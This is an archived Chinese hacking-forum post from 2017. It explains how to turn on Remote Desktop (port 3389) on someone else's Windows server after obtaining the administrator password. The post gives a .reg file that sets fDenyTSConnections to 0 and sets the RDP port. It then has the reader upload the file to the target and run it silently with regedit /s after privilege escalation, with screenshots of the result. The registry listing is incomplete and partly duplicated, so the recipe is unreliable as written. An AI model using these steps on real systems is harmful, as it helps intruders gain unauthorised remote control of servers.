开启3389的最简单的方法-女黑客 - Powered by Discuz! Archiver

nvhack 发表于 2017-2-22 16:52:21

开启3389的最简单的方法

当我们拿到管理员账号密码的时候,我们需要利用3389端口远程桌面连接到对方服务器,发现3389端口没有开放,此时需要我们远程开启目标服务器3389端口。

新建文件3389.reg 内容如下:


Windows Registry Editor Version 5.00

"fDenyTSConnections"=dword:00000000

"PortNumber"=dword:00000D3D

"PortNumber"=dword:00000D3D

此时目标服务器 3389端口关闭:

        http://zone.secevery.com/uploads/article/20170222/d1f98124dccfaee5dc17c4950ab86b8f.png


        http://zone.secevery.com/uploads/article/20170222/dc137d928dc9d6aae6da90e7a93860c9.png


        http://zone.secevery.com/uploads/article/20170222/120eb45b18768d54593404e939e88751.png

上传3389.reg文件到目标服务器
        http://zone.secevery.com/uploads/article/20170222/2d2e2af206b75ac8902785914ffb9258.png

提权之后运行一下 3389.reg 。 regedit /s C:/www/3389.reg
        http://zone.secevery.com/uploads/article/20170222/8b4b2385d62394612637f78dc019b37d.png

成功开启 3389端口。
        http://zone.secevery.com/uploads/article/20170222/f963863171c57f8112f9fbd5eb5083c1.png

页: [1]
查看完整版本: 开启3389的最简单的方法